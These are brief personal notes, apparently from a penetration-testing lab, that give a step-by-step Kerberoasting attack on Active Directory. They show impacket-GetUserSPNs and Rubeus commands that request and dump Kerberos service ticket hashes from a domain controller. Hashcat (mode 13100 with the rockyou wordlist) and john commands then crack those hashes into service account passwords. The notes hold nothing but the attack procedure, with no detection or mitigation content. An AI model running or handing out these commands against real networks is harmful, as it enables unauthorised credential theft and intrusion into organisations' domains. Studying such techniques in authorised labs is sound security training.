Kerberoasting

attacking active directories key distribution center at domain controller #in this attck session key is captured and cracked used hashcat not the TGT

linux

sudo impacket-GetUserSPNs -request -dc-ip 192.168.50.70 cor.com/cube

windows

.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

cracking the hash

• hashcat

sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

• john

john --wordlist=/path/to/wordlist.txt hashfile.txt